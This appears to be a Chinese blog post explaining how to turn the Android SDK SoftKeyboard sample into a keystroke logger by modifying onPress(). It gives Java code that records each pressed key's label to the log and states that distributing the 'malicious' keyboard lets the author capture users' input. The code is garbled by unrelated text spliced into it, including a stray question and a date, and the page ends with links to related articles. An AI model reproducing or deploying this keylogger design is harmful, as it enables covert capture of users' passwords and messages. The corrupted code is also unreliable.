android在应用层实现按键钩子的方案为:

获取android sdk提供的com_example_android_softkeyboard例子程序,然后,修改OnPress()

函数就可以实现了。如果把这个恶意的软键盘发布出去,人家安装了之后,我们还是可以截获到按键信息的。

public void onPress(int primaryCode) {
int iKeyboardResId;

int iCode;
String sLabel;
String name ;
LatinKeyboard CurrentKeyboard;
StringBuilder sb = new StringBuilder("");
//android.os.Debug.waitForDebugger();
if(mInputView == null)
return;
Keyboard currentKeyboard = mInputView.getKeyboard();
CurrentKeyboard = (LatinKeyboard)currentKeyboard;
iKeyboardResId = CurrentKeyboard.mXmlResId;
//Log.d("XL: onPress rid", String.valueOf(iKeyboardResId));
XmlResourceParser parser = getResources().getXml(iKeyboardResId);
int eventCode;

try
{
eventCode = parser.getEventType();
while (eventCode != XmlResourceParser.END_DOCUMENT)
{
//如果是开始标签
if (eventCode == XmlResourceParser.START_TAG)
{
//获取标签名称
name = parser.getName();
// Log.d("XL: onPress LableName", name);
//判断标签名称是否等于key
if(name.equals("Key"))
{

//获得标签属
英语make up是什么意思

sLabel = parser.getAttributeNamespace(0);
sLabel = parser.getAttributeValue(sLabel, "codes");
//iCode = parser.getAttributeIntValue(0, -1);
//Log.d("XL: onPress keyCode", String.valueOf(iCode));
//Log.d("XL: onPress keyCode primaryCode", String.valueOf(primaryCode));
iCode = Integer.parseInt(sLabel);
if( iCode == primaryCode)
{

sLabel = parser.getAttributeNamespace(0);
sLabel = parser.getAttributeValue(sLabel, "keyLabel");

//Log.d("XL: onPress keyCode", String.valueOf(iCode));
//Log.d("XL: onPress keylabel", sLabel);

sb.append("你按下的是: " + sLabel + "键" + "\n");
break;
}

}
}
else if (eventCode == XmlPullParser.END_TAG)
{

}
else if (eventCode == XmlPullParser.TEXT)
{

}
//下一个标签
eventCode = parser.next();
} //while
}
catch (XmlPullParserException e)
{
e.printStackTrace();
}
2011年09月
catch (IOException e)
{
e.printStackTrace();
}
Log.d("[XL]", sb.toString());
}

所以,相对安全的方式是自己的软件附带软件键盘,而不是用第三方的哦。

更多相关文章

  1. Android键盘使用问题汇总
  2. Android:windowSoftInputMethod软键盘弹出的问题浅析
  3. ANDROID中按键的添加配置(linux按键到android处理)
  4. android 监控软键盘确定 搜索 按钮并赋予点击事件
  5. android Manifest.xml全局配置文件中根标签中package属性及标签
  6. Android支持HTML标签
  7. Android输入法扩展之外接键盘中文输入

随机推荐

  1. android textview 排版混乱问题
  2. Android怎么解决不同版本SDK的兼容性问题
  3. php运行过程和数据类型
  4. Android进阶——借助Loader机制以一种更
  5. Android的事件处理
  6. Android进行高斯模糊的简单实现
  7. 基于Android搭建tensorflow lite,实现官
  8. android实现打开wifi选项,并等待在连接成
  9. android绘制播放音频的波形图
  10. Android(安卓)热修复以及阿里AndFix方案